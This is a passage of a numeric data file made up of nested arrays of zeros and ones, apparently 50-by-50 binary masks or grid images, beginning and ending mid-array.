,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,0,0,0,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0